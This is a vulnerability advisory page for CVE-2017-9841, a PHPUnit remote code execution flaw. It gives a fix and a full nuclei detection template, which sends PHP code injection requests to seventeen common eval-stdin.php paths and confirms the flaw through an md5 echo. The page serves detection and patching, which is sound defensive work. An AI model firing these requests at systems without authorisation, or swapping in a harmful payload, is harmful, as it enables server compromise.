CVE-2017-9841· phpunit project / phpunit· CWE-94
PHPUnit - Remote Code Execution
Exploited in the wild. Listed by CISA on 2022-02-15; known to be used by ransomware.
PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring via Util/PHP/eval-stdin.php , as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI.
Impact
Remote attackers can execute arbitrary PHP code on the server, leading to full system compromise.
Fix
Upgrade to PHPUnit version 5.7.21 or 6.1.6 or later.
How to confirm it
Send: GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php ; GET /vendor/phpunit/src/Util/PHP/eval-stdin.php ; GET /vendor/phpunit/Util/PHP/eval-stdin.php ; GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php ; GET /phpunit/phpunit/Util/PHP/eval-stdin.php
Positive when: contains "{{md5(string)}}" AND status 200Run it with nuclei: nuclei -id CVE-2017-9841 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2017-9841
info:
name: PHPUnit - Remote Code Execution
author: Random_Robbie,pikpikcu
severity: critical
description: PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring via Util/PHP/eval-stdin.php , as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI.
impact: |
Remote attackers can execute arbitrary PHP code on the server, leading to full system compromise.
remediation: |
Upgrade to PHPUnit version 5.7.21 or 6.1.6 or later.
reference:
- https://github.com/cyberharsh/Php-unit-CVE-2017-9841
- https://github.com/RandomRobbieBF/phpunit-brute
- https://thephp.cc/articles/phpunit-a-security-risk
- https://twitter.com/sec715/status/1411517028012158976
- https://nvd.nist.gov/vuln/detail/CVE-2017-9841
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2017-9841
cwe-id: CWE-94
epss-score: 0.99999
epss-percentile: 0.99994
cpe: cpe:2.3:a:phpunit_project:phpunit:*:*:*:*:*:*:*:*
metadata:
max-request: 6
vendor: phpunit_project
product: phpunit
tags: cve2017,cve,php,phpunit,rce,kev,phpunit_project,vkev,vuln
variables:
string: "CVE-2017-9841"
http:
- raw:
- |
GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
- |
GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/html
<?php echo md5("{{string}}");?>
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{{md5(string)}}'
- type: status
status:
- 200References
- https://github.com/cyberharsh/Php-unit-CVE-2017-9841
- https://github.com/RandomRobbieBF/phpunit-brute
- https://thephp.cc/articles/phpunit-a-security-risk
- https://twitter.com/sec715/status/1411517028012158976
- https://nvd.nist.gov/vuln/detail/CVE-2017-9841
Use this check only on systems you are authorised to test. Where the data comes from